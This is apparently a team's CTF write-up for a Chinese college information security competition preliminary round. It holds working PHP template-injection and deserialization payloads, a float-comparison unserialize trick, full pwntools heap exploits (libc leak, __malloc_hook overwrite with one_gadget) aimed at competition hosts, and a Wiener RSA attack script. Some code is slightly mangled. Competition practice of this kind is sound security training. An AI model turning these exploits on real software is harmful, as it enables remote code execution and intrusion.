The 13th National College Students Information Security Competition (online preliminary)
No matter what you do, the bastard won the first place. It all depends on lying down and flying with his teammates!
WEB
easyphp
Open the title and get the source code:
According to the description of the topic, let the process exit abnormally and enter phpinfo
payload:
http://eci-2ze4mvter6u3r4shc9j6.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_wait
Run phpinfo and find the flag:
RCEME
It seems that there is the original question, but the filtering is different. This question does not have a filter reverse apostrophe:
<?php error_reporting(0); highlight_file(__FILE__); parserIfLabel($_GET['a']); function danger_key($s) { $s=htmlspecialchars($s); $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert'); $s = str_ireplace($key,"*",$s); $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert'); foreach ($danger as $val){ if(strpos($s,$val) !==false){ die('Sorry, execution error, dangerous characters found['.$val.']'); } } if(preg_match("/^[a-z]$/i")){ die('Sorry, execution error, dangerous characters found'); } return $s; } function parserIfLabel( $content ) { $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/'; if ( preg_match_all( $pattern, $content, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches[ 1 ][ $i ]; $ifstr=danger_key($ifstr,1); if(strpos($ifstr,'=') !== false){ $arr= splits($ifstr,'='); if($arr[0]=='' || $arr[1]==''){ die('Sorry, there is a wrong judgment in the template,Please correct['.$ifstr.']'); } $ifstr = str_replace( '=', '==', $ifstr ); } $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'or', '||', $ifstr ); $ifstr = str_replace( 'and', '&&', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr = str_replace( 'not', '!', $ifstr ); if ( preg_match( '/\{|}/', $ifstr)) { die('Sorry, there is a wrong judgment in the template,Please correct'.$ifstr); }else{ @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); } if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { switch ( $flag ) { case 'if': if ( isset( $matches2[ 1 ] ) ) { $out_html .= $matches2[ 1 ]; } break; case 'else': if ( isset( $matches2[ 2 ] ) ) { $out_html .= $matches2[ 2 ]; } break; } } elseif ( $flag == 'if' ) { $out_html .= $matches[ 2 ][ $i ]; } $pattern2 = '/\{if([0-9]):/'; if ( preg_match( $pattern2, $out_html, $matches3 ) ) { $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html ); $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html ); $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html ); $out_html = $this->parserIfLabel( $out_html ); } $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content ); } } return $content; } function splits( $s, $str=',' ) { if ( empty( $s ) ) return array( '' ); if ( strpos( $s, $str ) !== false ) { return explode( $str, $s ); } else { return array( $s ); } }
Audit the code and find that it is template injection. We enter a={if:123}{end if}
The local mode shows that $ifstr is 123, so we can directly enter the command to execute
Since echo and apostrophe are not filtered, the command can be executed as long as the front and back brackets are closed
payload:
?a={if:1);echo%20`cat%20/flag`;if(1}{end%20if}
Operation results:
easytrick
Open the page to get the source code:
<?php class trick{ public $trick1; public $trick2; public function __destruct(){ $this->trick1 = (string)$this->trick1; if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ die("You're too long"); } if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ echo file_get_contents("/flag"); } } } highlight_file(__FILE__); unserialize($_GET['trick']);
As you can see, as long as a 5-digit string with the same MD5 value is OK, but if you can find,,,,
Test in the local environment. After various attempts, it is suspected that there will be a problem of accuracy
payload:
?trick=O:5:"trick":2:{s:6:"trick1";d:0.1;s:6:"trick2";d:0.100000000000001;}
Get:
Local test environment:
babyunserialize
I didn't read it carefully. I heard it seems to be the original title of wmctf. It's just revised. My teammate gave me exp:
<?php namespace DB { abstract class Cursor { } } namespace DB\SQL { class Mapper extends \DB\Cursor { protected $props = ["quotekey" => "phpinfo"], $adhoc = [123 => ["expr" => ""]], $db = ""; function __construct($val) { $this->db = $val; } } } namespace CLI { class WS { } class Agent { protected $server = ""; public $events; public function __construct() { $this->events = ["disconnect" => array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")), "find")]; $this->server =& $this; } } ; } namespace CLI { echo urlencode(serialize(array(new \CLI\WS(), new \CLI\Agent()))); } ?>
paylaod:
/?flag=a%3A2%3A{i%3A0%3BO%3A6%3A"CLI\WS"%3A0%3A{}i%3A1%3BO%3A9%3A"CLI\Agent"%3A2%3A{s%3A9%3A"%00*%00server"%3Br%3A3%3Bs%3A6%3A"events"%3Ba%3A1%3A{s%3A10%3A"disconnect"%3Ba%3A2%3A{i%3A0%3BO%3A13%3A"DB\SQL\Mapper"%3A3%3A{s%3A8%3A"%00*%00props"%3Ba%3A1%3A{s%3A8%3A"quotekey"%3Bs%3A7%3A"phpinfo"%3B}s%3A8%3A"%00*%00adhoc"%3Ba%3A1%3A{i%3A123%3Ba%3A1%3A{s%3A4%3A"expr"%3Bs%3A0%3A""%3B}}s%3A5%3A"%00*%00db"%3BO%3A13%3A"DB\SQL\Mapper"%3A3%3A{s%3A8%3A"%00*%00props"%3Ba%3A1%3A{s%3A8%3A"quotekey"%3Bs%3A7%3A"phpinfo"%3B}s%3A8%3A"%00*%00adhoc"%3Ba%3A1%3A{i%3A123%3Ba%3A1%3A{s%3A4%3A"expr"%3Bs%3A0%3A""%3B}}s%3A5%3A"%00*%00db"%3Bs%3A0%3A""%3B}}i%3A1%3Bs%3A4%3A"find"%3B}}}}
MISC
Sign in
You can get the flag in a certain time:
the_best_ctf_game
Download the file and put it into winhex to see the flag
Computer hacked
After downloading the title, open winhex and use professional tools to convert the image file to disk:
Use the tool DiskGenius to recover the flag txt:
Garbled code is found after recovery:
After saving the file, it is found that the file is garbled. There is also a file demo. winhex finds that it is an ELF file after viewing. It is directly put into ida to view:
An encryption algorithm requires flag Txt content reverse output, run to get flag
flag:
flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}
RE
Z3, you can directly use Z3 operation:
# coding:utf-8 from z3 import * s = Solver() v46=Int("v46") v47=Int("v47") v48=Int("v48") v49=Int("v49") v50=Int("v50") v51=Int("v51") v52=Int("v52") v53=Int("v53") v54=Int("v54") v55=Int("v55") v56=Int("v56") v57=Int("v57") v58=Int("v58") v59=Int("v59") v60=Int("v60") v61=Int("v61") v62=Int("v62") v63=Int("v63") v64=Int("v64") v65=Int("v65") v66=Int("v66") v67=Int("v67") v68=Int("v68") v69=Int("v69") v70=Int("v70") v71=Int("v71") v72=Int("v72") v73=Int("v73") v74=Int("v74") v75=Int("v75") v76=Int("v76") v77=Int("v77") v78=Int("v78") v79=Int("v79") v80=Int("v80") v81=Int("v81") v82=Int("v82") v83=Int("v83") v84=Int("v84") v85=Int("v85") v86=Int("v86") v87=Int("v87") s.add(0x4F17 == 34*v49+12*v46+53*v47+6*v48+58*v50+36*v51+v52) s.add(0x9CF6 == 27*v50+73*v49+12*v48+83*v46+85*v47+96*v51+52*v52) s.add(0x8DDB == 24*v48+78*v46+53*v47+36*v49+86*v50+25*v51+46*v52) s.add(0x8EA6 == 78*v47+39*v46+52*v48+9*v49+62*v50+37*v51+84*v52) s.add(0x6929 == 48*v50+14*v48+23*v46+6*v47+74*v49+12*v51+83*v52) s.add(0x9911 == 15*v51+48*v50+92*v48+85*v47+27*v46+42*v49+72*v52) s.add(0x40A2 == 26*v51+67*v49+6*v47+4*v46+3*v48+68*v52) s.add(0x2F3E == 34*v56+12*v53+53*v54+6*v55+58*v57+36*v58+v59) s.add(0x62B6 == 27*v57+73*v56+12*v55+83*v53+85*v54+96*v58+52*v59) s.add(0x4B82 == 24*v55+78*v53+53*v54+36*v56+86*v57+25*v58+46*v59) s.add(0x486C == 78*v54+39*v53+52*v55+9*v56+62*v57+37*v58+84*v59) s.add(0x4002 == 48*v57+14*v55+23*v53+6*v54+74*v56+12*v58+83*v59) s.add(0x52D7 == 15*v58+48*v57+92*v55+85*v54+27*v53+42*v56+72*v59) s.add(0x2DEF == 26*v58+67*v56+6*v54+4*v53+3*v55+68*v59) s.add(0x28DC == 34*v63+12*v60+53*v61+6*v62+58*v64+36*v65+v66) s.add(0x640D == 27*v64+73*v63+12*v62+83*v60+85*v61+96*v65+52*v66) s.add(0x528F == 24*v62+78*v60+53*v61+36*v63+86*v64+25*v65+46*v66) s.add(0x613B == 78*v61+39*v60+52*v62+9*v63+62*v64+37*v65+84*v66) s.add(0x4781 == 48*v64+14*v62+23*v60+6*v61+74*v63+12*v65+83*v66) s.add(0x6B17 == 15*v65+48*v64+92*v62+85*v61+27*v60+42*v63+72*v66) s.add(0x3237 == 26*v65+67*v63+6*v61+4*v60+3*v62+68*v66) s.add(0x2A93 == 34*v70+12*v67+53*v68+6*v69+58*v71+36*v72+v73) s.add(0x615F == 27*v71+73*v70+12*v69+83*v67+85*v68+96*v72+52*v73) s.add(0x50BE == 24*v69+78*v67+53*v68+36*v70+86*v71+25*v72+46*v73) s.add(0x598E == 78*v68+39*v67+52*v69+9*v70+62*v71+37*v72+84*v73) s.add(0x4656 == 48*v71+14*v69+23*v67+6*v68+74*v70+12*v72+83*v73) s.add(0x5B31 == 15*v72+48*v71+92*v69+85*v68+27*v67+42*v70+72*v73) s.add(0x313A == 26*v72+67*v70+6*v68+4*v67+3*v69+68*v73) s.add(0x3010 == 34*v77+12*v74+53*v75+6*v76+58*v78+36*v79+v80) s.add(0x67FE == 27*v78+73*v77+12*v76+83*v74+85*v75+96*v79+52*v80) s.add(0x4D5F == 24*v76+78*v74+53*v75+36*v77+86*v78+25*v79+46*v80) s.add(0x58DB == 78*v75+39*v74+52*v76+9*v77+62*v78+37*v79+84*v80) s.add(0x3799 == 48*v78+14*v76+23*v74+6*v75+74*v77+12*v79+83*v80) s.add(0x60A0 == 15*v79+48*v78+92*v76+85*v75+27*v74+42*v77+72*v80) s.add(0x2750 == 26*v79+67*v77+6*v75+4*v74+3*v76+68*v80) s.add(0x3759 == 34*v84+12*v81+53*v82+6*v83+58*v85+36*v86+v87) s.add(0x8953 == 27*v85+73*v84+12*v83+83*v81+85*v82+96*v86+52*v87) s.add(0x7122 == 24*v83+78*v81+53*v82+36*v84+86*v85+25*v86+46*v87) s.add(0x81F9 == 78*v82+39*v81+52*v83+9*v84+62*v85+37*v86+84*v87) s.add(0x5524 == 48*v85+14*v83+23*v81+6*v82+74*v84+12*v86+83*v87) s.add(0x8971 == 15*v86+48*v85+92*v83+85*v82+27*v81+42*v84+72*v87) s.add(0x3A1D == 26*v86+67*v84+6*v82+4*v81+3*v83+68*v87) flag = [] if s.check() == sat: flag.append(s.model()[v46]) flag.append(s.model()[v47]) flag.append(s.model()[v48]) flag.append(s.model()[v49]) flag.append(s.model()[v50]) flag.append(s.model()[v51]) flag.append(s.model()[v52]) flag.append(s.model()[v53]) flag.append(s.model()[v54]) flag.append(s.model()[v55]) flag.append(s.model()[v56]) flag.append(s.model()[v57]) flag.append(s.model()[v58]) flag.append(s.model()[v59]) flag.append(s.model()[v60]) flag.append(s.model()[v61]) flag.append(s.model()[v62]) flag.append(s.model()[v63]) flag.append(s.model()[v64]) flag.append(s.model()[v65]) flag.append(s.model()[v66]) flag.append(s.model()[v67]) flag.append(s.model()[v68]) flag.append(s.model()[v69]) flag.append(s.model()[v70]) flag.append(s.model()[v71]) flag.append(s.model()[v72]) flag.append(s.model()[v73]) flag.append(s.model()[v74]) flag.append(s.model()[v75]) flag.append(s.model()[v76]) flag.append(s.model()[v77]) flag.append(s.model()[v78]) flag.append(s.model()[v79]) flag.append(s.model()[v80]) flag.append(s.model()[v81]) flag.append(s.model()[v82]) flag.append(s.model()[v83]) flag.append(s.model()[v84]) flag.append(s.model()[v85]) flag.append(s.model()[v86]) flag.append(s.model()[v87]) print flag
Just turn the characters at last
PWN
Mainly rely on Doudou master!!!
babyjsc
exp:
from pwn import * p=remote('101.200.53.148',13465) payload="__import__("os").system("cat /home/ctf/flag")" p.sendline(payload) p.sendline(payload) p.interactive()
easybox
exp:
from pwn import * p=0 def pwn(): global p #p=process('./pwn2') p=remote('101.200.53.148',34521) elf=ELF('./pwn2') libc=elf.libc def add(idx,size,data): p.sendlineafter('>>>','1') p.sendlineafter(':',str(idx)) p.sendlineafter(':',str(size)) p.sendafter(':',data) def delete(idx): p.sendlineafter('>>>','2') p.sendlineafter(':',str(idx)) ''' add(0,0x28,'doudou') add(1,0x28,'doudou') add(2,0x68,'doudou') add(3,0x28,'doudou') delete(0) add(0,0x28,'a'*0x28+'\xa1') delete(1) delete(2) add(1,0x28,'doudou') #add(4,0x68,'doudou') ''' add(0,0x68,'doudou') add(4,0x28,'doudou') add(1,0x60,'doudou') add(2,0x90,'doudou') add(5,0x60,'doudou') delete(2) add(2,0x20,'doudou') add(3,0x60, "\xdd\x65") delete(0) add(0,0x68,'a'*0x60+p64(0)+'\xa1') delete(5) delete(1) delete(4) payload=p64(0)*5+p64(0x71)+'\x40' add(4,0x98,payload) payload= b"\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00" add(1,0x68,'aaa') add(5,0x68,'aaa') add(6,0x68,payload) libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600 log.success('libcbase: '+hex(libcbase)) malloc_hook=libcbase+libc.sym['__malloc_hook'] o_g=[0x45226,0x4527a,0xf0364,0xf1207] one_gadget=libcbase+o_g[3] #add(0x60) delete(3) delete(0) delete(5) add(3,0x68,p64(malloc_hook-0x23)) add(0,0x68,'aaa') add(5,0x68,'bbb') add(7,0x68,'a'*19+p64(one_gadget)) #gdb.attach(p,'b *$rebase(0x00C3C)') #delete(0) p.interactive() return True if __name__=='__main__': while 1: try: if pwn()==True: break except Exception as e: p.close() continue
maj
from pwn import * p=0 def pwn(): global p #p=process('./pwn3') p=remote('101.200.53.148',15423) elf=ELF('./pwn3') libc=elf.libc def add(size,data): p.sendlineafter('>> ','1') p.sendlineafter('question\n',str(0x50)) p.sendlineafter('?',str(size)) p.sendlineafter('start_the_game,yes_or_no?',data) def delete(idx): p.sendlineafter('>> ','2') p.sendlineafter('?',str(idx)) def show(idx): p.sendlineafter('>> ','3') p.sendlineafter('?',str(idx)) def edit(idx,data): p.sendlineafter('>> ','4') p.sendlineafter('?',str(idx)) p.sendafter('?',data) add(0x68,'dd')#0 add(0x68,'dd')#1 add(0x98,'dd')#2 add(0x18,'dd')#3 delete(2) add(0x68,'aa')#2 add(0x28,'d')#4 edit(4,'\xdd\x65') delete(0) delete(1) edit(1,'\xe0') add(0x68,'dd')#0 add(0x68,'dd')#1 payload=b"\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00" add(0x68,'dd') edit(8,payload) libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600 log.success('libcbase: '+hex(libcbase)) malloc_hook=libcbase+libc.sym['__malloc_hook'] o_g=[0x45226,0x4527a,0xf0364,0xf1207] one_gadget=libcbase+o_g[3] delete(0) edit(0,p64(malloc_hook-0x23)) add(0x68,'dd') add(0x68,'aa') edit(10,'a'*19+p64(one_gadget)) #gdb.attach(p,'b *0x00402228') #show(0) p.interactive() return True if __name__=='__main__': while 1: try: if pwn()==True: break except Exception as e: p.close() Continu
CRYPTO
bd
Decryption script:
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator def hack_RSA(e,n): ''' Finds d knowing (e,n) applying the Wiener continued fraction attack ''' frac = ContinuedFractions.rational_to_contfrac(e, n) convergents = ContinuedFractions.convergents_from_contfrac(frac) for (k,d) in convergents: #check if d is actually the key if k!=0 and (e*d-1)%k == 0: phi = (e*d-1)//k s = n - phi + 1 # check if the equation x^2 - s*x + n = 0 # has integer roots discr = s*s - 4*n if(discr>=0): t = Arithmetic.is_perfect_square(discr) if t!=-1 and (s+t)%2==0: print("Hacked!") return d if __name__ == "__main__": n=86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289 e=46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249 d=hack_RSA(e,n) c=37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066 m=pow(c,d,n) print m
Operation results: